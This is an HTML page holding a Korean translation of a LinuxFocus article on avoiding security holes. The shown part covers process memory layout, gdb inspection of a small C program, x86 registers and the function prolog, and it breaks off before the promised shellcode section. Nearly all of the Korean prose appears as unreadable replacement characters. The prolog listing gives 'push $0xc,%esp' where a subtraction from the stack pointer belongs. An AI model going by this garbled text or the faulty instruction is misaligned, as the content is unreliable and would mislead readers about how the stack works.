<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<HTML>
<HEAD>
 <META http-equiv="Content-Type" content="text/html; charset=euc-kr">
 <META NAME="GENERATOR" CONTENT="lfparser_2.13">
 <META NAME="LFCATEGORY" CONTENT="Software Development">
<!-- this is used be a number of tools:
 =LF=AUTHOR:  Fr.ANidNiric Raynal, Christophe Blaess, Christophe Grenier
 =LF=CAT___: Software Development
 =LF=TITLE_: Avoiding security holes when developing an application - Part 2: memory, stack and functions, shellcode
 =LF=NUMBER: 183
 -->
 <TITLE>����Ʈ���� ���� : �������α׷� ���߽� �������� ���ϱ� - �� 2�� : �޸�,����,�Լ� �׸��� �� �ڵ�</TITLE>
<!-- stylesheet added by lfparser: --> 
<style type="text/css">
<!--
 td.top {font-family: Arial,Geneva,Verdana,Helvetica,sans-serif; }
 pre { font-familiy:monospace,Courier }
 p.cl { color:#EE9500 }
 a.nodec { text-decoration:none }
 p.trans { font-size:8pt; text-align:right }
 p.clbox { width:50%; alignment:center; background-color:#FFD700; border-style:none; border-width:medium; border-color:#FFD700; padding:0.5cm ;  text-align:center }
 p.foot { background-color:#AAAAAA; color:#FFFFFF; border-style:none; border-width:medium; border-color:#AAAAAA; padding:0.5cm ; margin-top:0.1cm; margin-right:1cm; margin-left:1cm; text-align:center }
-->
</style>
 
</HEAD>
<BODY bgcolor="#ffffff" text="#000000">
 <!-- this is generated html code. NEVER use this file for your
 translation work. Instead get the file with the same article number
 and .meta.shtml in its name. Translate this meta file and then
 use lfparser program to generate the final article -->
 <!-- lfparser can be obtained from http://main.linuxfocus.org/~guido/dev/lfparser.html -->

<!-- 2pdaIgnoreStart -->

<!-- start navegation bar -->
 <!-- top navegation bar -->
 <TABLE cellspacing="0" cellpadding="0" border="0" align="center" width="90%">
   <TR bgcolor="#2e2292">
     <TD class="top"><TABLE cellspacing="0" cellpadding="0" border="0" width=
       "100%">
         <TR><TD width="144"><IMG src="../../common/images/logolftop.gif"
           alt="[LinuxFocus-icon]" width="350" height="45" align="left" 
           border="0"></TD>

           <TD class="top">
             <TABLE width="100%">
               <TR align="right">
                 <TD class="top"><A class="nodec" href="../index.shtml"><FONT color=
                 "#DDDDDD">Home</FONT></A> &nbsp;|&nbsp; <A class=
                 "nodec" href="../map.html"><FONT color=
                 "#DDDDDD">Map</FONT></A> &nbsp;|&nbsp; <A class=
                 "nodec" href="../indice.html"><FONT color=
                 "#DDDDDD">Index</FONT></A> &nbsp;|&nbsp; <A class="nodec" href="../Search/index.shtml"><FONT color=
                 "#DDDDDD">Search</FONT></A> </TD>
               </TR>

               <TR align="right">
                 <TD class="top">
                   <HR width="100%" noshade size="1">
                 </TD>
               </TR>
             </TABLE>
           </TD>
         </TR>
       </TABLE>
     </TD>
   </TR>
 </TABLE>
 <!-- end top navegation bar -->
 <!-- blue bar -->
 <TABLE cellspacing="0" cellpadding="0" border="0" align="center"
 width="90%">
   <TR bgcolor="#00ffff">
     <TD><IMG src="../../common/images/transpix.gif" width="1" height=
     "2" alt=""></TD>
   </TR>
 </TABLE>
 <!-- end blue bar -->
 <!-- bottom navegation bar -->
 <TABLE cellspacing="0" cellpadding="0" border="0" align="center"
 width="94%">
   <TR bgcolor="#000000">
     <TD>
       <TABLE cellspacing="0" cellpadding="1" border="0" width=
       "100%">
         <TR align="center">
           <TD class="top"><A class="nodec" href="../News/index.shtml"><FONT color=
           "#FFFFFF">News</FONT></A> </TD>
           <TD><FONT color="#FFFFFF">|</FONT> </TD>
           <TD><A class="nodec" href="../Archives/index.shtml"><FONT color=
           "#FFFFFF">Archives</FONT></A> </TD>
           <TD><FONT color="#FFFFFF">|</FONT> </TD>
           <TD><A class="nodec" href="../Links/index.shtml"><FONT color=
           "#FFFFFF">Links</FONT></A> </TD>
           <TD><FONT color="#FFFFFF">|</FONT> </TD>
           <TD><A class="nodec" href="../aboutus.html"><FONT color=
           "#FFFFFF">About LF</FONT></A> </TD>
           <TD>&nbsp;</TD>
         </TR>
       </TABLE>
     </TD>
   </TR>
 </TABLE>
 <!-- end bottom navegation bar -->
<!-- stop navegation bar -->

<!-- SSI_INFO -->

<!-- addedByLfdynahead ver 0.5 -->
<!-- tr_staticssi include virtual -->
<!-- tr_staticssi exec cmd -->
<!-- addedByLfdynahead ver 1.4 --><TABLE ALIGN="right" border=0><TR><TD ALIGN="right"><FONT SIZE="-1" FACE="Arial,Helvetica">This document is available in: <A href="../../English/March2001/article183.shtml">English</a> &nbsp;<A href="../../Castellano/March2001/article183.shtml">Castellano</a> &nbsp;<A href="../../Deutsch/March2001/article183.shtml">Deutsch</a> &nbsp;<A href="../../Francais/March2001/article183.shtml">Francais</a> &nbsp;<A href="../../Nederlands/March2001/article183.shtml">Nederlands</a> &nbsp;<A href="../../Russian/March2001/article183.shtml">Russian</a> &nbsp;<A href="../../Turkce/March2001/article183.shtml">Turkce</a> &nbsp;<A href="../../Korean/March2001/article183.shtml">Korean</a> &nbsp;</FONT></TD></TR></TABLE><br>
 


 

<!-- 2pdaIgnoreStop -->

<!-- SHORT BIO ABOUT THE AUTHOR -->
<TABLE ALIGN=LEFT BORDER=0 hspace=4 vspace=4 WIDTH="30%" >
<TR>
<TD>

<!-- 2pdaIgnoreStart -->
<!-- PALM DOC -->
<TABLE BORDER=0 hspace=4 vspace=4> <TR> <TD>
<font size=1> <img src="../../common/images/2doc.gif" width=34 align=left border=0 height=22 alt="convert to palm"><a href="http://cgi.linuxfocus.org/cgi-bin/2ztxt">Convert to GutenPalm</a><br>or <a href="http://cgi.linuxfocus.org/cgi-bin/2pda">to PalmDoc</a></font>
</TD> </TR> </TABLE>
<!-- END PALM DOC -->
<!-- 2pdaIgnoreStop -->
<br>
<IMG src="../../common/images/FredCrisBCrisG.jpg" alt=
"[image of the authors]" width="200" height="150">
<BR>/�۾��� : <A href= "mailto:pappy&#64;users.sourceforge.net,ccb@club-internet.fr,grenier@nef.esiea.fr"> Fr&eacute;d&eacute;ric Raynal, Christophe Blaess, Christophe Grenier</A>
<BR><BR>
<I>�۾��� �Ұ�:</I><BR>
<P>Christophe Blaess�� �װ������Ͼ��̴�. �״� ������ ������ ������ �ý������� ���� ����
�����ϰ� �ִ�. �׸���  <I>Linux����ȭ������Ʈ</I>���� man�������� ������ �ð� �ִ�.</P>
<P>Christophe Grenier�� ESIEA���� 5���� �л��̸鼭 �ý��� �����ڷ� Ȱ�����̴�.
 is a 5th year student at the ESIEA, where he ��ǻ�� ���ȿ� ���� ������ �ִ�.</P>
<P>Fr&eacute;d&eacute;ric Raynal�� �������� ���������� ����� �Դ�.�������� ȯ���� ������Ű���� �ʰ�
ȣ������ ��������� �ʰ� ������ �⸧�� ���� ���� ���� ����� ������� ������ ������ ������ �����Ѵٰ�...</P>
<BR><i>����</i>:
<UL>
  <LI><A HREF="#lfindex0">���� ��</A></LI>
  <LI><A HREF="#lfindex1">�޸��� ����</A></LI>
  <LI><A HREF="#lfindex2">���α׷��̶�?</A></LI>
  <LI><A HREF="#lfindex3">���� �ٸ� ����</A></LI>
  <LI><A HREF="#lfindex4">�ڼ��� ��</A></LI>
  <LI><A HREF="#lfindex5">���ð� ��</A></LI>
  <LI><A HREF="#lfindex6">��������</A></LI>
  <LI><A HREF="#lfindex7">�Լ�</A></LI>
  <LI><A HREF="#lfindex8">�Ұ�</A></LI>
  <LI><A HREF="#lfindex9">prolog�</A></LI>
  <LI><A HREF="#lfindex10">ȣ��</A></LI>
  <LI><A HREF="#lfindex11">���ϰ�</A></LI>
  <LI><A HREF="#lfindex12">Disassembling�</A></LI>
  <LI><A HREF="#lfindex13">���ڵ� ����</A></LI>
  <LI><A HREF="#lfindex14">C���δ�.</A></LI>
  <LI><A HREF="#lfindex15">������� ȣ��</A></LI>
  <LI><A HREF="#lfindex16">�޸𸮻��� ���ڵ�</A></LI>
  <LI><A HREF="#lfindex17">null����Ʈ ����</A></LI>
  <LI><A HREF="#lfindex18">���ڵ� ����</A></LI>
  <LI><A HREF="#lfindex19">�Ϲ�ȭ </A></LI>
  <LI><A HREF="#lfindex20">��ġ�� ��</A></LI>
  <LI><A HREF="http://cgi.linuxfocus.org/cgi-bin/lftalkback?anum=183&lang=en">�� ��翡 �Ҹ��� �ֽ��ϱ�?</A></LI>
</UL>

</TD></TR></TABLE>
<!-- HEAD OF THE ARTICLE -->
<br>&nbsp;
<H2>
����Ʈ���� ���� : �������α׷� ���߽� �������� ���ϱ� - �� 2�� : �޸�,����,�Լ� �׸��� �� �ڵ�</H2>
 <IMG src="../../common/images/illustration183.gif" width="100" height=
"100" alt="article illustration" hspace="10">
<!-- ABSTRACT OF THE ARTICLE -->
<P><i>���</i>:
<P>
<P>�̹��� ��ȹ�� ������� applications ���� ��Ÿ���� �ִ�
���� �������鿡 ������ �ΰ� �ִ�. �׸��� ���α׷� ���߽� 
�ణ�� ����Ѵٸ� �̷��� �������� ���� �� �ִٴ� ���� 
�����ְ� �ִ�.</P><P> �̹��ۿ����� �޸��� ������ ����,�׸��� funtion �� memory�� 
���迡 ���ؼ� �ٷ����. ���� �̱��� �������κп����� shellcode�� 
����� ����� �ٷ����. <EM>shellcode</EM>.</P></P>
<HR size="2" noshade align="right"><BR>
<!-- BODY OF THE ARTICLE -->


<A NAME="lfindex0">&nbsp;</A>
<H2>���� ��</H2>

�츮�� ���� �ۿ��� �ܺ� ���� ����(external command execution)��
����� �� ��� ���� �������� ���� �м��غ��Ҵ�. �̹� �۰�  
������ �̾��� �ۿ����� �������� �κп��� ���ǰ� �ִ� 
buffer overflow��� ���ݿ� ���� �˾ƺ����� �Ѵ�. 
 �츮�� ���α׷��� ����Ǿ��� ���� �޸� ������ �˾ƺ���,
shell�� �����ϰ� �ϴ� �ڵ�(<EM>shellcode</EM>)�� ����� �� ���̴�.


<A NAME="lfindex1">&nbsp;</A>
<H2>�޸��� ����</H2>


<A NAME="lfindex2">&nbsp;</A>
<H2>���α׷��̶�?</H2>


<P>�츮�� �Ϲ�������, ���ɾ��� �̷���� ������,����� 
ǥ���� ����(�̰��� ���α׷����ϴ� ���ʹ� �������) 
<EM>binary</EM>��� �θ���. binary file�� ��� ���� ó�� compile�� ��,
program source�� ����(variable),���(constants),���ɾ�(instructions)
���� �����Ѵ�. �� �忡���� binary�� �� �κ��� �޸𸮿��� ��� 
��ġ�Ǵ����� �˾ƺ����� �Ѵ�.</P>

<A NAME="lfindex3">&nbsp;</A>
<H2>���� �ٸ� ����</H2>


<P>��������(binary)�� ����Ǵ� ���� ����� �Ͼ���� 
�����ϱ� ���ؼ� �޸��� ������ ���캸��� ����.
�׸������� ���� �������� ������ �޸𸮿� �����Ѵ�.</p>

<CENTER><IMG src="../../common/images/article183/mem.png" alt=
"memory layout" width="210" height="282"></CENTER>

<P> ���� �׸��� �޸� ������ ��� ���� �����ְ� ����
������, �� �ۿ��� ���������� �ٷ� ���뿡 ���� �޸�
������ �� �����ְ� �ִ�.
</P>

<P>�Ʒ��� ������<CODE>size -A <EM>file</EM> --radix 16</CODE> 
�̶� ������ compile�ɶ� ������ ������ �����ϴ� ũ�⸦ �����ִ�
�����̴�. �� ������ ���ؼ� ������ ������ ���� 
�޸� �ּҸ� ���� �� �ִ�(�̿� ���� ������ <CODE>objdump</CODE>��� 
���ɾ ���ؼ��� ���� �� �ִ�.). ���⿡���� "fct" ���
��������(binary)�� <CODE>size</CODE>�� ���� �����.</P>

<BLOCKQUOTE>
<PRE style="font-familiy:monospace">
&gt;&gt;size -A fct --radix 16
fct  :
section            size        addr
.interp            0x13   0x80480f4
.note.ABI-tag      0x20   0x8048108
.hash              0x30   0x8048128
.dynsym            0x70   0x8048158
.dynstr            0x7a   0x80481c8
.gnu.version        0xe   0x8048242
.gnu.version_r     0x20   0x8048250
.rel.got            0x8   0x8048270
.rel.plt           0x20   0x8048278
.init              0x2f   0x8048298
.plt               0x50   0x80482c8
.text             0x12c   0x8048320
.fini              0x1a   0x804844c
.rodata            0x14   0x8048468
.data               0xc   0x804947c
.eh_frame           0x4   0x8049488
.ctors              0x8   0x804948c
.dtors              0x8   0x8049494
.got               0x20   0x804949c
.dynamic           0xa0   0x80494bc
.bss               0x18   0x804955c
.stab             0x978         0x0
.stabstr         0x13f6         0x0
.comment          0x16e         0x0
.note              0x78   0x8049574
Total            0x23c8

</PRE>
</BLOCKQUOTE>

<P> <CODE>text</CODE> ������ ���α׷��� ���ɾ��(instructions)�� ����Ǹ�,
�� ������ read-only�����̴�. �� ������ ���� ���������� 
������ �������϶� ��� ���μ���(process)�� �����ϴ� �����̴�.
�� ������ ���� ������ �õ��� <EM>segmentation violation error</EM>��
������ ���̴�.</P>

<P>�ٸ� ������ ���� �����ϱ� ����, C������ ����(varilable)��
���ؼ� ��� �˾ƺ���. ��������(<EM>global</EM> variables)�� ����
�ϸ�, ���α׷� ��ü���� ���������� ��ȿ�� �ݸ�, ��������(<EM>
local</EM> variables)�� �����ϸ� �� ���������� ����� �Լ��ȿ�����,
��ȿ�� ���� ������. ���� ����(<EM>static</EM> variables)�� �����ϸ�,
����� ������ ������ ũ�⸸ŭ�� ������ Ȯ���Ѵ�. �� ������
�������δ� <CODE>char</CODE>,<CODE>int</CODE>,<CODE>double</CODE>,
pointer(C ���� *�� �Բ� ǥ���Ǵ�pointer�� ������ ���Ѵ�.)���� �ִ�. 
PCŸ���� ��ǻ�Ϳ��� ������(pointer)�� 32bit�� ������ �ּ�ü��(integer address)�� 
ǥ���ȴ�. static������ ũ��� �����ϵǴ� ���� ��Ȯ���� �� �� 
����.��������(<EM>dynamic</EM> variable)�� ���������� �޸� ������ �Ҵ��ϹǷ�,
�����Ͱ� �� �Ҵ�� �ּҸ� ����Ű�� �ִ�. global/local,static/dynamic
�������� ���� ����Ͽ��� �������.</P>

<P> �ٽ�, ������ ���캻 �޸� ������ �Ѿ ����. data������ 
�ʱ�ȭ�� ���� ���� <CODE>data</CODE>(the initialized global static 
data)�� ����Ǵ� �ݸ�(�� ���� �����Ͻ� �����ȴ�.), <CODE>bss</CODE>
segment�� �ʱ�ȭ���� ���� ���� data(global data)�� ����ȴ�.
�� ������ �׵��� ������ �ִ� objects�� ���� ���ǵ� �׵��� 
ũ�Ⱑ �ֱ� ������ �����ϵɶ� �����ȴ�.</P>

<P> �׷��ٸ� �����Ͻ� ���������� ���������� ��� �ɱ�?
�̵��� ���α׷� ������ ���� �޸� ������ ��������
����ȴ�( �̵��� <EM>user stack frame</EM>�̶�� ���� �����Ͽ�
�̰��� ����ȴ�.). �Լ��� �ݺ������� ȣ��DZ� ������
���������� instances ������ ������ �� �� ����. ����������
�����ϸ�, �̵��� <EM>stack</EM>�� �־����� �ȴ�. �� ������ user 
address �������� ���� �޸� �ּҹ����� �ֻ����� ��ġ�ϸ�,
LIFO(<EM>Last In, First Out</EM>)�𵨿� ���� �����Ѵ�. 
<EM>user frame</EM>������ �Ʒ����� ���������� �Ҵ翡 ���ȴ�. 
�̺κ��� <EM>heap</EM>�����̶� �θ���. �̰��� ���������� �����Ϳ� ���� 
���������� �޸� ������ �����ϰ� �ִ�. 32bit ü�迡��
������ ������ ����������, BSS�Ǵ� stack���� � ��Ȯ��
�ּҸ� ����Ű���� �ʴ´�. ���μ����� memory�� �Ҵ������μ�
(<EM>malloc</EM>���� �Լ��� �Ἥ) �� �޸��� ù��° 
����Ʈ�� �ּҰ� �����ͺ��������� ���� �ȴ�.</P>

<A NAME="lfindex4">&nbsp;</A>
<H2>�ڼ��� ��</H2>


<P>�Ʒ��� ������ �޸𸮾ȿ��� �������� � ������
���ϴ� ���� �� �����ְ� �ִ�.
:</P>

<BLOCKQUOTE>
<PRE>
/* mem.c */

  int    index = 1;   //in data
  char * str;         //in bss
  int    nothing;     //in bss

void f(char c)
{
  int i;              //in the stack
  /* Reserves 5 characters in the heap */
  str = (char*) malloc (5 * sizeof (char));
  strncpy(str, "abcde", 5);
}

int main (void)
{
  f(0);
}

</PRE>
</BLOCKQUOTE>

<P>Gnu/linux ������� <CODE>gdb</CODE>�� �̿��Ͽ� �̸� Ȯ���غ���.</P>

<BLOCKQUOTE>
<PRE>
&gt;&gt;gdb mem
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are welcome to change it and/or distribute
copies of it under certain conditions.  Type "show copying"
to see the conditions.  There is absolutely no warranty
for GDB.  Type "show warranty" for details.  This GDB was
configured as "i386-redhat-linux"...
(gdb)

</PRE>
</BLOCKQUOTE>

<P> breakpoint�� <CODE>f()</CODE>
���Ѻ���:</P>

<BLOCKQUOTE>
<PRE>
(gdb) list
7      void f(char c)
8      {
9         int i;
10        str = (char*) malloc (5 * sizeof (char));
11        strncpy (str, "abcde", 5);
12     }
13
14     int main (void)
(gdb) break 12
Breakpoint 1 at 0x804842a: file mem.c, line 12.
(gdb) run
Starting program: mem

Breakpoint 1, f (c=0 '\000') at mem.c:12
12      }

</PRE>
</BLOCKQUOTE>

<P> ������ ������ ������ ��ġ�ϴ� ���� Ȯ���غ� ���ʴ�.</P>

<BLOCKQUOTE>
<PRE>
<B>1.</B> (gdb) print &amp;index
$1 = (int *) 0x80494a4
<B>2.</B> (gdb) info symbol 0x80494a4
index in section .data
<B>3.</B> (gdb)  print &amp;nothing
$2 = (int *) 0x8049598
<B>4.</B> (gdb) info symbol 0x8049598
nothing in section .bss
<B>5.</B> (gdb) print str
$3 = 0x80495a8 "abcde"
<B>6.</B> (gdb) info symbol 0x80495a8
No symbol matches 0x80495a8.
<B>7.</B> (gdb) print &amp;str
$4 = (char **) 0x804959c
<B>8.</B> (gdb) info symbol 0x804959c
str in section .bss
<B>9.</B> (gdb) x 0x804959c
0x804959c &lt;str&gt;:     0x080495a8
<B>10.</B> (gdb) x/2x 0x080495a8
0x80495a8: 0x64636261      0x00000065

</PRE>
</BLOCKQUOTE>

<P> 1�� ����(<CODE>print &amp;index</CODE>)�� ���������� 
<CODE>index</CODE>�� �޸� �ּҸ� �����ش�. �ι�° ����
(<CODE>info</CODE>)�� index�� �޸��ּҿ� symbol�� ������Ѽ�
�޸��� � ������ �� �ּҰ� �����ϴ����� �����ش�: 
<CODE>index</CODE>�� �ʱ�ȭ�� ���� ���� �����̹Ƿ�
<CODE>data</CODE>������ ����ȴٴ� ���� �� ������ ����
�� �� �ִ�.</P>

<P>3���� 4�� ���ɾ�� �ʱ�ȭ���� ���� ���� ������
<CODE>nothing</CODE>�� <CODE>BSS</CODE> segment�� ����ȴٴ� ����� 
�����ְ� �ִ�.</P>

<P> 5�������� <CODE>str</CODE>�� �����ְ� �ִ�. �����δ� 
<CODE>str</CODE>������ ������ �����ְ� ������ �� �ּҴ�
<CODE>0x80495a8</CODE>�̴�. 6�� ������ �� �ּҿ��� �ƹ���
������ ���ǵǾ� ���� ������ �����ְ� �ִ�.
7���������� <CODE>str</CODE>������ �ּҸ� ��,
8���������� �� ������ <CODE>BSS</CODE> segment�� �����Ѵٴ�
���� �����ְ� �ִ�.</P>

<P>9�������� <CODE>0x804959c</CODE>�� �ּҿ� ����� �޸� 
���뿡 �ش��ϴ� ���� 4bytes�� �����ش�: �� �޸�
������ heap ������ �����Ѵ�. 10�������� ���ڿ�
"abcde"�� �� �޸� �ּҿ� �����Ѵٴ� �����ش�&nbsp;:</P>

<BLOCKQUOTE>
<PRE>
hexadecimal value : 0x64 63 62 61      0x00000065
character         :    d  c  b  a               e

</PRE>
</BLOCKQUOTE>

<P> ���������� <CODE>c</CODE> �� <CODE>i</CODE>�� ���ÿ� ����ȴ�.</P>

<P> �츮�� ���α׷����� <CODE>size</CODE>���ɾ ���� ���� 
������ ������ ���� ũ�Ⱑ �츮�� ����� ����
�ٸ��ٴ� ����� �˾ƾ� �Ѵ�. ũ�Ⱑ �ٸ� 
������ ���̺귯������ ����� ������ �ٸ� ��������
���α׷� ����� ��Ÿ���� �����̴�(<CODE>gdb</CODE>����
<CODE>info  variables</CODE>��� ������ ���� �̵� ��θ�
���� �� �ִ�.).</P>

<A NAME="lfindex5">&nbsp;</A>
<H2>The stack and the heap</H2>


<P>�Լ��� ȣ��� ������, ���� ������ �Լ��� ���ڵ��� 
���� ���ο� ȯ���� �����ȴ�(���⿡�� ���� ȯ��
(<EM>environment</EM>)�̶�, �Լ��� �����ϴ� ���� ��Ÿ����
��� ��Ҹ� �ǹ��ϸ� ���⿡�� �Լ��� ����(arguments),
��������, return address���� ���Եȴ�. ���⼭ 
���� ȯ���̶� �ܾ�� shell�� ȯ�溯���ʹ� 
�ٸ��Ƿ� ȥ������ �ʱ� �ٶ���.). <CODE>%esp</CODE>
(<EM>extended stack pointer</EM>)�� ������ �ֻ��� �ּҸ� ������ 
�ִ� ���������̸�, ������ �츮�� ǥ���� ����
������(bottom)�� ǥ���ȴ�. ������ ���ÿ� ��������
������ ��Ҹ� ����Ű�� �ִٴ� ���� ������ 
�����ϴµ� �ֻ���(<EM>top</EM>)�̶� ǥ���� �� �� ��︮�Ƿ� 
top�̶�� ��� �θ� ���̴�: �̰��� �ý��� ������
�������̾, �� �������Ͱ� ���δ� ������ 
ù��° �� ������ ����Ű�� �ִ� ��쵵 �ִ�.</P>

<P> ���ÿ��� ���������� �ּҴ� <CODE>%esp</CODE>�� ���� offset���� 
ǥ���ȴ�. �׷��� %esp�� �̿��ϸ� ���ڵ�(items)�� ���ÿ�
�ְ� ���� �ϴ� �۾��� �־ �׻� �� ������ offset��
�������ؾ� �ϹǷ� �ſ� ��ȿ�����̴�. �̷��� �������� 
�ذ��ϴ� ������� <CODE>%ebp</CODE>�� ����Ѵ�:%ebp(extended base
pointer)�� ���� �Լ��� ȯ���� ���۵Ǵ� �ּҸ� �����ϰ�
�ִ� ���������̴�. ���� �� �������Ϳ� ���� <EM>offset</EM>ǥ��
�� �����ϴ�. �׸��� �Լ��� ����Ǵ� ���� ������ 
�ʴ´�. ������ ������ ������ �� �����Ͽ��ٸ�, �Լ��ȿ��� 
���������� ���ڸ� ���� ã�� �� ���� ���̴�.</P>

<P> ������ �⺻ ������ <EM>word</EM>�̴�&nbsp;: i386 CPU������ 32bit, ��
4bytes�̴�. �̰��� �ý��ۿ� ���� �ٸ���. Alpha CPU������
word�� 64bit�̴�. ������ ������ words�����θ� �ٷ�� 
���Ƿ�, �Ҵ�� ��� ������ ���� word size�� ������
�ȴ�. �̺κп� ���ؼ��� �Լ��� prolog�κп��� �� �� 
�ڼ��� �ٷ꿹���̴�. ���� ������ <CODE>gdb</CODE>�� ���Ͽ� 
<CODE>str</CODE>������ ������ �� �� �־��µ�, �̺κ��� ������ 
�⺻������ word��� ���� �� �����ְ� �ִ�. <CODE>gdb</CODE>��
<CODE>x</CODE>������ 32bit word��ü�� �����ش�(�̰��� 
�������κ��� ���������� �д´�.i386 CPU������
<EM>little endian</EM>������ ������ �ֱ� �����̴�.).</P>

<P> ���ÿ��� ���� ���̴� 2���� cpu ���ɾ �ִ�:</P>

<UL>
<LI><CODE>push value</CODE>&nbsp;:
�� ������ ������ �ֻ���(top)�� <CODE>value</CODE>�� ���� �ִ´�. 
�̸����� ���ÿ��� ����� �� �ִ� ���� word�� �ּҸ� ���, word��
ũ�⸸ŭ <CODE>%esp</CODE>�� ���ҽ�Ų��;</LI>

<LI><CODE>pop dest</CODE>&nbsp;: �̸����� ������ �ֻ���(top)�ִ� item��
dest�� �ִ´�. <CODE>dest</CODE>�ȿ��� <CODE>%esp</CODE>�� ����Ű�� �ִ� 
�ּҰ��� �־����� <CODE>%esp</CODE>�� �����Ѵ�.������ ���ÿ��� ���ŵǴ� ���� 
�ƹ��͵� ����. �ٸ� ������ �ֻ��� �����͸� ��ȭ�Ѵ�.
</LI>
</UL>

<A NAME="lfindex6">&nbsp;</A>
<H2>��������</H2>


<P> ��Ȯ�� �������Ͷ�� ���� ������ ���ϴ� ���ϱ�?
�����ϰ� �������ڸ�,�޸𸮿� ���������� words�� 
�����Ǵ� ���� ���� �� word�� �����ϰ� �ִ� 
������������ �����ϸ� �ȴ�. �Žð����� ���ο� ����
�������Ϳ� ���� �ȴ�(�̶� ���� ����� ����
��������.).�̹ۿ���, �������ʹ� �޸𸮿� CPU���̿� 
��������� �����ϴٴ� Ư¡�� ������ �ִ�.</P> 

<P> ���������̸��� ���� �տ� �ִ� '<CODE>e</CODE>'�� "<EM>extended</EM>"�� 
�ǹ��ϸ�, �̰��� 16bit�������� 32bit�������� ��ȭ�� ��Ÿ����.</P> 

<P> �������ʹ� ������ ���� 4���κ����� ���� �� �ִ� :</P>

<OL>
<LI>general registers : data�� �ٷ�� �������ͷ�
<CODE>%eax</CODE>, <CODE>%ebx</CODE>,<CODE>%ecx</CODE>,
<CODE>%edx</CODE>�� ���⿡ ���Ѵ� ;</LI>

<LI>segment registers : �޸��ּ��� ù��° �κ��� 
������ �ִ� �������ͷ� 16bit <CODE>%cs</CODE>, <CODE>%ds</CODE>,
<CODE>%esx</CODE> ,<CODE>%ss</CODE>�� ���⿡ ���Ѵ�;</LI>

<LI>offset registers :  �� �������͵��� segment �������Ϳ� ���� offset�� 
����Ű�� �������͵��̴� :

<UL>
<LI><CODE>%eip</CODE> (<EM>Extended Instruction Pointer</EM>) :
������ ����� ���ɾ ���� �ּҸ� ����Ų��;</LI>

<LI><CODE>%ebp</CODE> (<EM>Extended Base Pointer</EM>) : �Լ��� 
���������� ���� ȯ���� ���۵Ǵ� ���� ����Ų��;</LI>

<LI><CODE>%esi</CODE> (<EM>Extended Source Index</EM>) : �޸� 
block�� �̿��� ����(operation)���� data source offset�� ������ �ִ�;</LI>

<LI><CODE>%edi</CODE> (<EM>Extended Destination Index</EM>) : �޸� 
block�� �̿��� ����(operation)���� destination data offset�� ������ �ִ�;</LI>

<LI><CODE>%esp</CODE> (<EM>Extended Stack Pointer</EM>) : ������ 
�ֻ���(top)�� ����Ű�� �ִ�;</LI>
</UL>
</LI>

<LI>special registers : �̰��� ���� CPU�� ���ؼ��� ���ȴ�.</LI>
</OL>

������ ��:  ���⼭ �̾߱��ϴ� ��� �������ʹ� alpha�� sparc�ӽŰ��� ���� �ƴ�,
x86�ý��ۿ� ������̴�. ��� �ý��۸��� �ٸ� �̸��� �������� 
�̿� ����� ����� ������ ���� ���̴�.


<A NAME="lfindex7">&nbsp;</A>
<H2>�Լ�</H2>


<A NAME="lfindex8">&nbsp;</A>
<H2>���� ��</H2>


�� �忡���� ���α׷��� ȣ�⿡������ ���α׷���
���������� ���α׷��ȿ� �Ͼ�� �Ͽ� ����
�ٷ� ���̴�. �� ���� �����ϴ� ���� �Ʒ��� 
������ ������ ��� ������ ���� ���̴�:

<BLOCKQUOTE>
<PRE>
/* fct.c */

void toto(int i, int j)
{
  char str[5] = "abcde";
  int k = 3;
  j = 0;
  return;
}

int main(int argc, char **argv)
{
  int i = 1;
  toto(1, 2);
  i = 0;
  printf("i=%d\n",i);
}
</PRE>
</BLOCKQUOTE>

<P> �� �忡���� ���� �ִ� �Լ����� �Ͼ�� ���� 
���ð� �������Ϳ� ������ ���߾� �����Ϸ� �Ѵ�.
� ������ ���α׷��� �������� ��ȭ��
���Ͽ� �̷������. �̷��� ���� �����ϱ� ���Ͽ�,
�Ϲ������� � ���� �Ͼ������ ���ؼ� �ƴ� ����
�߿��� ���̴�.</P>

<P> �Լ��� ������ ������ ���� ���κ����� ���� �� �ִ� :</P>

<OL>
<LI>the <EM>prolog</EM> : �Լ������� ����, �Լ����� �������ö��� ���Ͽ�
�Լ��� ���� ���� ���� ��Ȳ�� �����ؾ� �Ѵ�. ���� �Լ��� �����ϱ� ���� 
����� �޸� ������ Ȯ���ؾ� �Ѵ�;</LI>

<LI>the function <EM>call</EM> : �Լ��� ȣ��Ǿ��� ��, �Լ��� ���ڸ� ���ÿ� �ְ�,
�Լ��� ������ ��ġ�� ���ƿ��� ���� ������ instruction pointer(IP)�� �����ϰ� �ȴ�;</LI>

<LI>the function <EM>return</EM> :  �Լ��� ȣ��DZ� ���� ��Ȳ���� ��� ���� 
�������� �ȴ�.</LI>
</OL>

<A NAME="lfindex9">&nbsp;</A>
<H2>prolog</H2>


 �Լ��� ȣ��Ǹ� ȣ��� �Լ������� ���� ���� �Ʒ��� 
���ɵ��� ����ȴ�. 

<BLOCKQUOTE>
<PRE>
push   %ebp
mov    %esp,%ebp
push   $0xc,%esp       //���⼭�� $0xc��� ���� %esp ���� 
			   ���־��µ� �̰��� ���α׷��� ���� 
			   �ٸ��� ��Ÿ�� �� �ִ�.
</PRE>
</BLOCKQUOTE>

<P> �� ������ ���ɾ���� �츮�� prolog�� �θ���. 
<A href="#prolog">diagram 1</A>���� toto()�Լ��� 
<EM>prolog</EM>�κп��� �Ͼ�µ����� <CODE>%ebp</CODE>�� 
<CODE>%esp</CODE>�������͸� ���� �� �� �ִ�.:</P>

<CENTER>
<TABLE width="90%" summary="images of stack with explanations">
<CAPTION align="BOTTOM"><A name="prolog" href="#prolog">Diag. 1</A> :
prolog of a function</CAPTION>

<TR>
<TD><IMG src="../../common/images/article183/p1.png" alt="prolog"
width="446" height="320"></TD>
<TD> ó���� <CODE>%ebp</CODE> �������ʹ� X ��� �޸𸮻��� 
� address�� ����Ű�� �ִ�. <CODE>%esp</CODE> �������ʹ� 
������ ������ �����ϸ� ���� ���������� ������ ������ 
����Ű�� �ִ� Y��� address�� ������ �ִ�. 
 �ϴ� �Լ� �ȿ� ������ ������ ȯ���� ���ۺκ�,��,
<CODE>%ebp</CODE>�� �����ؾ� �Ѵ�. �̶����� <CODE>%ebp</CODE>�� 
���ÿ� �ְ�(push), <CODE>%esp</CODE>�� <CODE>%ebp</CODE>�� ���ÿ� 
push�DZ� ������ �޸� ũ�⸸ŭ �����ϰ� �ȴ�.</TD></TR>

<TR>
